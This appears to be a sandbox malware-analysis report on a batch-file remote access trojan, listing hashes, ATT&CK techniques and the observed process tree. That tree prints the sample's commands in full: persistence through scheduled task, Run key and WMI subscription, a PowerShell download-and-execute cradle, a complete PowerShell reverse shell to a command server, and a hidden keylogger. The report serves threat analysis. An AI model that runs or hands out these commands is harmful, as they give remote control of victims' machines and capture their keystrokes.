28c75397ccb18ffe254aafb34ec6a6bcb79bf8c45846fceb0a3735fe51fb07f7

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
rat_build_233555_014625.bat
Size 4KB
Sample260529-bz6v8agy21
SHA256 28c75397ccb18ffe254aafb34ec6a6bcb79bf8c45846fceb0a3735fe51fb07f7
MD5 ce568b8aadee8816288ee7d4f32c541a
SHA1 94f029c493ccfca1ed24a53e37bf3adae9ecf787
SHA512 f4b0096295b2d5099540c507db673a55aef8ef3341cddf82bbed514e6df8dc97b171dd2ffbcbd72fdf6fd49a71d4377c3488fd6288df43997ba1f3ca969b2bb5
SSDEEP 96:oIOQLWC757NmYf8WOioyE6kdjrlqBWlUcd/gVxziFgZk8mvlo1dJC8:oSiC75fzQ6IAczd/2iFgkHlQJC8
TLSH
T173A1E717275A6014A9F16A18D973381453ACE9FB2340C58DFB0CECC2598CB83A529BF7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_233555.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4700	powershell.exe
3756	powershell.exe
1716	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_233555 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_233555.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
824	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4524	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2508	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4700	powershell.exe
4700	powershell.exe
3756	powershell.exe
3756	powershell.exe
1716	powershell.exe
1716	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2864	WMIC.exe
Token: SeSecurityPrivilege	2864	WMIC.exe
Token: SeTakeOwnershipPrivilege	2864	WMIC.exe
Token: SeLoadDriverPrivilege	2864	WMIC.exe
Token: SeSystemProfilePrivilege	2864	WMIC.exe
Token: SeSystemtimePrivilege	2864	WMIC.exe
Token: SeProfSingleProcessPrivilege	2864	WMIC.exe
Token: SeIncBasePriorityPrivilege	2864	WMIC.exe
Token: SeCreatePagefilePrivilege	2864	WMIC.exe
Token: SeBackupPrivilege	2864	WMIC.exe
Token: SeRestorePrivilege	2864	WMIC.exe
Token: SeShutdownPrivilege	2864	WMIC.exe
Token: SeDebugPrivilege	2864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2864	WMIC.exe
Token: SeRemoteShutdownPrivilege	2864	WMIC.exe
Token: SeUndockPrivilege	2864	WMIC.exe
Token: SeManageVolumePrivilege	2864	WMIC.exe
Token: 33	2864	WMIC.exe
Token: 34	2864	WMIC.exe
Token: 35	2864	WMIC.exe
Token: 36	2864	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2864	WMIC.exe
Token: SeSecurityPrivilege	2864	WMIC.exe
Token: SeTakeOwnershipPrivilege	2864	WMIC.exe
Token: SeLoadDriverPrivilege	2864	WMIC.exe
Token: SeSystemProfilePrivilege	2864	WMIC.exe
Token: SeSystemtimePrivilege	2864	WMIC.exe
Token: SeProfSingleProcessPrivilege	2864	WMIC.exe
Token: SeIncBasePriorityPrivilege	2864	WMIC.exe
Token: SeCreatePagefilePrivilege	2864	WMIC.exe
Token: SeBackupPrivilege	2864	WMIC.exe
Token: SeRestorePrivilege	2864	WMIC.exe
Token: SeShutdownPrivilege	2864	WMIC.exe
Token: SeDebugPrivilege	2864	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2864	WMIC.exe
Token: SeRemoteShutdownPrivilege	2864	WMIC.exe
Token: SeUndockPrivilege	2864	WMIC.exe
Token: SeManageVolumePrivilege	2864	WMIC.exe
Token: 33	2864	WMIC.exe
Token: 34	2864	WMIC.exe
Token: 35	2864	WMIC.exe
Token: 36	2864	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4948	WMIC.exe
Token: SeSecurityPrivilege	4948	WMIC.exe
Token: SeTakeOwnershipPrivilege	4948	WMIC.exe
Token: SeLoadDriverPrivilege	4948	WMIC.exe
Token: SeSystemProfilePrivilege	4948	WMIC.exe
Token: SeSystemtimePrivilege	4948	WMIC.exe
Token: SeProfSingleProcessPrivilege	4948	WMIC.exe
Token: SeIncBasePriorityPrivilege	4948	WMIC.exe
Token: SeCreatePagefilePrivilege	4948	WMIC.exe
Token: SeBackupPrivilege	4948	WMIC.exe
Token: SeRestorePrivilege	4948	WMIC.exe
Token: SeShutdownPrivilege	4948	WMIC.exe
Token: SeDebugPrivilege	4948	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4948	WMIC.exe
Token: SeRemoteShutdownPrivilege	4948	WMIC.exe
Token: SeUndockPrivilege	4948	WMIC.exe
Token: SeManageVolumePrivilege	4948	WMIC.exe
Token: 33	4948	WMIC.exe
Token: 34	4948	WMIC.exe
Token: 35	4948	WMIC.exe
Token: 36	4948	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4948	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2480	1672	cmd.exe	90
PID 1672 wrote to memory of 2508	1672	cmd.exe	91
PID 1672 wrote to memory of 2864	1672	cmd.exe	92
PID 1672 wrote to memory of 4948	1672	cmd.exe	93
PID 1672 wrote to memory of 5064	1672	cmd.exe	94
PID 1672 wrote to memory of 4524	1672	cmd.exe	95
PID 1672 wrote to memory of 824	1672	cmd.exe	102
PID 1672 wrote to memory of 4700	1672	cmd.exe	103
PID 1672 wrote to memory of 3756	1672	cmd.exe	104
PID 1672 wrote to memory of 1716	1672	cmd.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_233555_014625.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_233555" /tr "C:\Users\Admin\AppData\Local\Temp\_233555.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2480
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_233555" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_233555.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2508
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_233555", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2864
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_233555", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_233555.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4948
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_233555.txt
  2⤵
  PID:5064
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4524
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_233555.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1716

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 2fb230be2ae29d017c122f4ab5bb33e826dfb053c4770abeb2e0233763b6bf05
MD5 c08f7582b71376c4e7345bcd101a9727
SHA1 c9aa5addf9580efb7a0c86e7a27d27bbaf35550d
SHA512 292151a732044a238ec99a63d26d36c302668e270086e33e3759dec465175d10492c10858e9d4fbcb0f6310dfe79babfcedc8f1a7506314fb30b9feaa0acd21c
TLSH
T117117627F39CC921CC96153A509DAC1172B683DB81AEDF9F6FC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6707dad5d556127d7cf4736920f92d425d9cef7f5f97827d0c4c55b381859907
MD5 f1f076cce162271e46c88b639c2f3b39
SHA1 396fbbffab326e14ea9662946acdde525f4a906d
SHA512 b5f3226c4ad4fe2ff5d17de7210cca1d2b9f18c5841118ace653a638d3d279c8120811910436f6ed834410f186e38e295f894c970b2777103a1c3f84794a5da5
TLSH
T197115727B39C89A1CC96153A409D9C1172B683D740AEDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gds2pzgo.ucu.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gds2pzgo.ucu.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4700-3-0x00000170DC450000-0x00000170DC472000-memory.dmp

Download